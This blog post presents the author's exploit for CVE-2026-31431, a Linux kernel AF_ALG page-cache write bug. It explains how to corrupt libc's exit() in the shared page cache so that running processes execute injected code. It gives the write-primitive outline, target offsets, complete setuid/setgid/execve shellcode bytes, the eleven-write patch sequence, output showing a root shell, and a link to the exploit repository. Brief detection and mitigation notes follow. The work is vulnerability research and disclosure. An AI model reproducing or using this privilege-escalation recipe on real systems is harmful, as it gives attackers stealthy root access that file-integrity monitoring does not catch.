CVE-2026-31431: Corrupting Live Process Code Through Linux Page Cache

CVE-2026-31431 (“Copy Fail”) is a Linux kernel vulnerability that gives an unprivileged user a deterministic 4-byte write to any readable file’s page cache. Published exploits use this to corrupt /etc/passwd or setuid binaries — essentially modifying data files on disk.

I developed a different technique: corrupt executable code of running processes through the page cache. This post covers the vulnerability analysis, the novel exploitation technique, and the full exploit development process.

TL;DR: By writing shellcode into libc’s exit() function through page cache, every process that exits runs our code — achieving root in one shot.

Exploit: github.com/ikow/CVE-2026-31431-live-code-corruption

The Vulnerability

Root Cause

The bug lives in crypto/algif_aead.c, the kernel’s AF_ALG interface for authenticated encryption. In 2017, an optimization (72548b093ee3) made AEAD operations run “in-place” — reading and writing to the same buffer to avoid a memory copy.

The problem: when userspace uses splice() to feed data from a file into the AF_ALG socket, the kernel operates directly on the file’s page cache pages. The authencesn AEAD algorithm (used for IPsec with Extended Sequence Numbers) rearranges 4 bytes of the associated data during decryption:

/* crypto/authencesn.c — the bug */
scatterwalk_map_and_copy(tmp, dst, 4, 4, 0);  // read bytes 4-7
scatterwalk_map_and_copy(tmp+1, dst, assoclen+cryptlen, 4, 0);
scatterwalk_map_and_copy(tmp, dst, 0, 8, 1);  // WRITE 8 bytes to position 0

The final write goes back to the source scatterlist — which points to page cache pages from the spliced file. The kernel writes 4 controlled bytes to any readable file’s page cache.

The Primitive

// write4(target_path, file_offset, four_bytes)
// Writes 4 arbitrary bytes to target file's page cache at file_offset
int write4(const char *target, int file_offset, const unsigned char *bytes) {
    // 1. Open target file (O_RDONLY is enough)
    // 2. Create AF_ALG socket with authencesn(hmac(sha256),cbc(aes))
    // 3. sendmsg() with AAD containing our 4 bytes + MSG_MORE
    // 4. splice() 32 bytes from target file into the crypto socket
    // 5. recv() triggers decrypt — bug writes our bytes to page cache
}

Key properties:

  • Deterministic: no race condition, 100% reliable
  • Unprivileged: AF_ALG sockets need zero capabilities
  • Controlled: we choose exactly which 4 bytes to write and where
  • Repeatable: call multiple times for larger payloads

Why Published Exploits Miss the Point

The public exploits all target data files:

  • theori-io: Corrupts /usr/bin/su binary → patches setuid check
  • tgies: Flips UID field in /etc/passwdroot:x:0:0: becomes root:x:0000:
  • Kubernetes PoC: Overwrites shared overlay layer binaries

These work, but they:

  1. Modify files on disk (detectable by file integrity monitoring)
  2. Require specific target files to exist
  3. Only affect processes that read the corrupted file

The Live Code Corruption Technique

MAP_PRIVATE and Page Cache Sharing

Here’s the key insight that enables our technique. When Linux loads a shared library:

mmap(addr, size, PROT_READ|PROT_EXEC, MAP_PRIVATE, fd, offset)

The kernel doesn’t copy the file data. Instead, it maps the process’s virtual address directly to the page cache physical page. The MAP_PRIVATE flag means writes will trigger copy-on-write — but for code pages (.text section), no process ever writes to them. The pages remain shared with page cache forever.

                    Physical Memory
                    ┌─────────────┐
  bash (PTE) ─────>│ Page Cache  │<───── su (PTE)
                    │ Page for    │<───── sshd (PTE)
                    │ libc exit() │<───── cron (PTE)
                    └─────────────┘
                          ↑
                  Copy Fail writes here
                          ↓
                    ALL processes see
                    corrupted exit()!

By corrupting a code page in the page cache, we modify the instructions that every process on the system executes.

Building the Exploit

Target: glibc 2.31’s exit() function at file offset 0x49bc0

exit() @ 0x49bc0:
  f3 0f 1e fa    endbr64
  50             push %rax
  58             pop %rax
  b9 01 00 00 00 mov $0x1,%ecx
  ...

on_exit() @ 0x49be0:   ← 32 bytes later, same page
  f3 0f 1e fa    endbr64
  41 54          push %r12
  ...

Both functions are on the same 4K page (0x49000). We overwrite on_exit() with shellcode, then patch exit() to jump to it.

Shellcode (39 bytes — setuid(0) + setgid(0) + execve(“/bin/sh”)):

; setuid(0)
xor edi, edi          ; 31 ff
xor eax, eax          ; 31 c0
mov al, 105           ; b0 69
syscall               ; 0f 05

; setgid(0)
xor edi, edi          ; 31 ff
xor eax, eax          ; 31 c0
mov al, 106           ; b0 6a
syscall               ; 0f 05

; execve("/bin/sh", NULL, NULL)
xor edx, edx          ; 31 d2
xor esi, esi          ; 31 f6
lea rdi, [rip+4]      ; 48 8d 3d 04 00 00 00
mov al, 59            ; b0 3b
syscall               ; 0f 05
.ascii "/bin/sh\0"    ; 2f 62 69 6e 2f 73 68 00

11 Copy Fail writes (4 bytes each, ~50ms total):

Write  1: 0x49be0 → 31 ff 31 c0   (xor edi,edi; xor eax,eax)
Write  2: 0x49be4 → b0 69 0f 05   (mov al,105; syscall)
Write  3: 0x49be8 → 31 ff 31 c0   (xor edi,edi; xor eax,eax)
Write  4: 0x49bec → b0 6a 0f 05   (mov al,106; syscall)
Write  5: 0x49bf0 → 31 d2 31 f6   (xor edx,edx; xor esi,esi)
Write  6: 0x49bf4 → 48 8d 3d 04   (lea rdi,[rip+4])
Write  7: 0x49bf8 → 00 00 00 b0   (... mov al,59)
Write  8: 0x49bfc → 3b 0f 05 2f   (... syscall; "/")
Write  9: 0x49c00 → 62 69 6e 2f   ("bin/")
Write 10: 0x49c04 → 73 68 00 90   ("sh\0" + nop)
Write 11: 0x49bc0 → eb 1e 90 90   (JMP +30 = jump to shellcode)

Result

$ ./exploit /lib/x86_64-linux-gnu/libc-2.31.so
[*] CVE-2026-31431 Live Code Corruption Exploit
[1] Writing shellcode (39 bytes, 10 writes)...
    [+] 0x49be0: 31 ff 31 c0
    ...
[2] Patching exit() → jmp shellcode...
    [+] 0x49bc0: eb 1e 90 90 (jmp +30)
[3] Verifying page cache corruption...
    [+] exit() patched: eb 1e 90 90 ✓
    [+] Shellcode start: 31 ff 31 c0 ✓
[*] Done! libc exit() now points to our shellcode.

$ id
uid=1000(user) gid=1000(user)

$ su -c id
uid=0(root) gid=0(root) groups=0(root)

Kernel log confirms: process 'id' launched '/bin/sh' with NULL argv

Defense Analysis

During this research (targeting Google’s kernelCTF competition), I systematically analyzed every defense layer:

Why This Doesn’t Help kernelCTF

The kernelCTF nsjail sandbox uses a separate /chroot directory with copied files (different inodes). Page cache is indexed by inode, so corrupting /chroot/lib/libc doesn’t affect /lib/libc. The only shared host file (/etc/resolv.conf) has no code execution path.

This made the page cache code corruption technique impossible within the sandbox — it works on regular Linux systems but not through chroot file isolation.

Detection and Mitigation

  • init_on_alloc=1 / init_on_free=1 don’t help (this isn’t a memory safety bug)
  • File integrity monitoring (AIDE, OSSEC) won’t detect it — the disk file is unmodified
  • The corruption persists only in page cache (lost on reboot or page eviction)
  • Fix: kernel 6.12.85+ / 6.15+ — copies data out-of-place before crypto operation

Conclusion

CVE-2026-31431’s primitive (page cache write) is more powerful than published exploits suggest. By targeting executable code instead of data files, we achieve:

  1. Stealth: no disk modification, invisible to file integrity checks
  2. Scope: affects all processes mapping the corrupted library
  3. Reliability: deterministic, no race conditions
  4. Speed: 11 writes, ~50ms total

The technique opens interesting questions about page cache security — any bug that writes to page cache potentially affects all MAP_PRIVATE mappings of that file.

更早的文章

Adobe ColdFusion Unrestricted File Upload Vulnerability(CVE-2018-15961)

Adobe 在新的bulletin里面提到了CVE-2018-15961被大量利用:https://helpx.adobe.com/security/products/coldfusion/apsb18-33.html网上最早的分析报告有:https://www.volexity.com/blog/2018/11/08/active-exploitation-of-newly-patched-coldfusion-vulnerability-cve-2018-15961/但是里面并没有提到...…

Adobe ColdFusion unrestricted file upload CVE-2018-15961继续阅读